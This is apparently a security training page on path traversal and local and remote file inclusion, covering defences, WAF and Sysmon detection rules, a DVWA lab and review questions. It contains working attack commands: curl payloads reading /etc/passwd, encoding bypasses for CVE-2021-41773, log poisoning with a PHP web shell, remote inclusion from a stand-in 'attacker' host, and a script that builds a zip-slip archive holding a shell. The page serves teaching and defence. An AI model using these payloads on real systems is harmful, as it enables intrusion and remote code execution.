Skip to content

Path Traversal & LFI/RFI

Path traversal is the violation of a directory boundary. The application intends to serve files from /var/www/uploads/ but accepts ../../etc/passwd as the filename, walks out of the intended directory, and returns the OS password file. LFI (Local File Inclusion) is the special case where the included file is executed — PHP include $_GET['page'] runs the file as PHP. RFI (Remote File Inclusion) is the special case where the path is a URL and the include fetches it. CVE-2018-7600 (Drupalgeddon2) was an LFI chain. CVE-2021-41773 (Apache path traversal) was an off-by-one in the path normalizer that let ..%2f escape the webroot.

A path is a sequence of separators (/ on Unix, \ on Windows, both on web servers). The .. segment refers to the parent directory. The vulnerability arises when an application joins user input to a base path without verifying that the result is still within the base directory.

Vulnerable:
$file = $_GET['page'];
include("/var/www/pages/" . $file);
$_GET['page'] = "../../../../etc/passwd"
→ include("/var/www/pages/../../../../etc/passwd")
→ kernel normalizes → /etc/passwd ← path traversal
Vulnerable (LFI → RCE via log poisoning):
$_GET['page'] = "/var/log/apache2/access.log"
→ include runs the access.log as PHP
→ access.log contains User-Agent: <?php system($_GET['c']); ?>
→ RCE
Vulnerable (RFI):
$_GET['page'] = "http://attacker/shell.txt"
→ include fetches URL and executes as PHP
→ RCE
Safe:
realpath() resolves .. and checks the canonical path is under /var/www/pages

The defense is to canonicalize the path (via realpath or equivalent), then verify the canonical path starts with the intended base directory. String matching on the input is insufficient because the same canonical path has many encodings.

  1. Find the sink — include, require, file_get_contents, fopen, readfile, Bytes.read(Path.of(userInput)), fs.readFileSync(userInput). Anywhere a user-supplied filename or path flows into a filesystem call.
  2. Probe with ../ — ?file=../../../../etc/passwd. If the response contains root:x:0:0:, classic path traversal works.
  3. Bypass naive sanitization — ?file=..%2f..%2f..%2f (URL-encoded slashes), ?file=..%252f..%252f (double-encoded), ?file=..%c0%af..%c0%af (overlong UTF-8 encoding, hits CVE-2021-41773 on Apache 2.4.49), ?file=....//....// (the ....// becomes ../ after a single-pass str_replace('../', '', $input) that doesn’t recurse).
  4. Find an executable file (LFI → RCE) — common targets:
    /var/log/apache2/access.log ← log poisoning: UA contains PHP
    /var/log/auth.log ← SSH log poisoning (need to fail SSH login with user `<?php system($_GET['c']); ?>`)
    /proc/self/environ ← if CGI, contains user-controlled header values
    /proc/self/fd/<n> ← leaked file descriptors
    /tmp/sess_<PHPSESSID> ← PHP session file poisoning
  5. RCE via PHP filters — php://filter/convert.base64-encode/resource=/etc/passwd returns base64-encoded file content (avoids the < byte that breaks include of binary files). php://filter/convert.base64-decode/resource=php://input decodes POST body and runs it.
  6. RFI — only works if PHP has allow_url_include = On (default off since PHP 5.2). With RFI, ?page=http://attacker/shell.txt runs the remote file as PHP. The attacker’s shell.txt contains <?php system($_GET['c']); ?>.
TechniqueDescriptionDetection Difficulty
../ traversal../../etc/passwd walks up the directory treeEasy — ../ in URL is suspicious
URL-encoded /..%2f..%2fetc%2fpasswdEasy — decode before matching
Double URL encoding..%252f..%252f — defeats single-pass urlDecodeMedium — apply urlDecodeUni
Null byte truncation../../../etc/passwd%00.jpg — old PHP fopen truncatesEasy — patched in PHP 5.3.4
Overlong UTF-8..%c0%af..%c0%af (CVE-2021-41773 Apache)Medium — must strip invalid UTF-8
Recursive strip bypass....//....// — after str_replace('../', '') becomes ../../Medium — use regex, not str_replace
Log poisoning + LFIInject PHP in User-Agent, then include access.logMedium — needs log file path known
PHP filter chainphp://filter/convert.base64-encode/resource=/etc/passwdEasy — php:// in URL
PHP session poisoningWrite serialized PHP into a session var, then include the session fileMedium — needs session.save_path known
ZIP-slipArchive contains member paths with ../Hard — depends on extract implementation
Windows 8.3 short nameADMINI~1.PHP bypasses an extension allowlistMedium — disable 8.3 names
Windows UNC path\\attacker\share\shell.php — SMB fetch with NTLM leakHard — block SMB egress
Terminal window
# Direct path traversal
curl "http://target/?page=../../../../etc/passwd"
curl "http://target/?file=..%2f..%2f..%2fetc%2fpasswd"
# Double-encoding bypass
curl "http://target/?file=..%252f..%252f..%252fetc%252fpasswd"
# CVE-2021-41773 Apache 2.4.49 path traversal (also CVE-2021-42013)
curl --path-as-is "http://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd"
# Overlong UTF-8 — same vuln, different encoding
curl --path-as-is "http://target/cgi-bin/..%c0%af..%c0%af..%c0%af/etc/passwd"
# PHP filter to read /etc/passwd without breaking on binary
curl "http://target/?page=php://filter/convert.base64-encode/resource=/etc/passwd"
# Response is base64; decode: echo "cm9vdDp..." | base64 -d
# PHP input via filter chain
curl -X POST "http://target/?page=php://filter/convert.base64-decode/resource=php://input" \
--data "PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg=="
# Log poisoning — inject PHP in User-Agent
curl -A "<?php system(\$_GET['c']); ?>" http://target/
# Then include the log:
curl "http://target/?page=/var/log/apache2/access.log&c=id"
# Find LFI candidates in source
grep -rEnE '\b(?:include|require|include_once|require_once|file_get_contents|fopen|readfile)\s*\(\s*\$_' htdocs/
# Burp Suite — Intruder with the SecLists LFI payload list
# /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
# nuclei LFI templates
nuclei -u http://target -t ~/nuclei-templates/http/dast/ -tags lfi,lfi,rfi
# Zip-slip payload
python3 -c "
import zipfile
with zipfile.ZipFile('evil.zip', 'w') as z:
z.writestr('../../var/www/html/uploads/shell.php', '<?php system(\$_GET[\"c\"]);?>')
"

ModSecurity OWASP CRS — Path Traversal covered by rule 930100 family. Notable:

  • 930100 — Path Traversal Attack (../)
  • 930110 — Path Traversal Attack in URI Path (/.. in path)
  • 930120 — OS File Access Attempt (/etc/passwd, /etc/shadow, win.ini)
  • 930130 — OS File Access Attempt (case-insensitive variants)
  • 932100 family (RCE) catches PHP filter chains

Suricata SID 2221021 — Path traversal attempt in HTTP [verify].

Sysmon Event ID 11 — FileCreate of /etc/passwd, /etc/shadow, win.ini, boot.ini — direct indicator of successful traversal.

Sysmon Event ID 1 — ProcessCreate for shells spawned by webserver after LFI → log poisoning → RCE.

MITRE ATT&CK T1190 — Exploit Public-Facing Application.

MITRE ATT&CK T1083 — File and Directory Discovery (when LFI is used for enumeration).

MITRE ATT&CK T1005 — Data from Local System (LFI as exfiltration).

Wazuh rule 31101 — Path traversal pattern in HTTP request [verify].

Wazuh rule 920/621 — Sensitive file access attempt (/etc/passwd, /etc/shadow) [verify].

Recursive str_replace bypass. Code that does str_replace('../', '', $input) once leaves ....// → ../ after one strip. Defense: loop the replace until stable, or use a regex, or use realpath().

Unicode normalization. ../ (full-width slash) and ..⁄ normalize to ../ in some locales. Defense: t:urlDecodeUni and strip Unicode slash variants.

Path-as-is in curl. Some web clients normalize ..%2f to ../ before sending. Use curl --path-as-is to preserve the encoding; the server-side normalizer may resolve it differently.

PHP filter chain RCE without php://input. The php://filter/convert.base64-decode filter can be chained with convert.iconv.UTF-8.UTF-7 and others to construct arbitrary PHP code from a chain of filters — the “filter chain” technique discovered in 2022 (synacktiv php_filter_chains). Defense: block php:// in user input entirely.

Windows short-name (8.3). NTFS keeps 8.3 short names (ADMINI~1.PHP) for backwards compat. The short name bypasses extension allowlists. Defense: fsutil behavior set disable8dot3 1 on Windows servers.

Windows alternate data streams (ADS). file.php::$DATA reads the raw data stream and bypasses extension checks. file.php:stream parses the file as a stream and may bypass extension filtering. Defense: strip :$ patterns from input.

EvasionBypassesDefense
....//Single-pass str_replace('../', '')Loop until stable; use regex
Double URL encodingSingle urlDecodet:urlDecodeUni (handles %uXXXX and double)
Overlong UTF-8 (%c0%af)ASCII-only matchersValidate UTF-8; reject overlong sequences
Null byte (%00)Pre-PHP 5.3.4 string concatUpgrade; reject null bytes in input
PHP filter chainphp:// blockBlock php:// scheme entirely
Windows 8.3 short namesExtension allowlistDisable 8.3 names on NTFS

⚠️ What caught me: A target had realpath() in the upload code but the developer wrote:

if (strpos(realpath($file), "/var/www/uploads/") !== 0) { die("invalid"); }

The intent was to ensure the resolved path stays in the uploads directory. The bug: when $file did not exist on disk, realpath() returned false, and strpos(false, ...) returned false, which is !== 0 (true) — so the check passed for nonexistent files. The attacker supplied a path that did not exist yet, then created it via a separate upload. Lesson: realpath() returns false for nonexistent paths; always check realpath() === false first, then validate the canonical path.

Container: DVWA File Inclusion module (low/medium/high/impossible), or vulnerables/web-dvwa.

Terminal window
docker run --rm -d -p 80:80 vulnerables/web-dvwa
# DVWA Security: low, medium, high
# Module: File Inclusion

Objective: at low, do classic LFI of /etc/passwd. At medium, bypass the http:// block by using php://filter. At high, do log poisoning + LFI to RCE.

Expected flag format: flag{lfi_dvwa_log_poisoning_rce_confirmed}.

Detection that should fire: ModSecurity 930100 family on every payload; 930120 (OS File Access Attempt) on /etc/passwd request; 933100 (PHP Injection) when the log file is included.

Conceptual: explain the difference between path traversal and LFI. Give one scenario where path traversal is a critical bug but LFI is not possible.

Technical: walk through how PHP’s php://filter/convert.base64-encode filter lets an attacker read a binary file via LFI when a direct include would fail. What does the filter do at the PHP stream layer?

Scenario: a target strips ../ with str_replace('../', '', $input) and then concatenates with the base path. Demonstrate the recursive bypass and explain why str_replace is the wrong tool.

Why is realpath() an effective defense when used correctly, and what are the two failure modes (one of which is not even mentioned in the PHP docs) that compromise its use?

Compare ZIP-slip (CVE-2018-1002201 family across Java/Go/Ruby zip libraries) and the ../ URL parameter in terms of the trust boundary being violated. What is the common root cause?

→ W1 (OWASP Top 10 Overview) · W9 (File Upload Vulnerabilities) · W17 (API Security)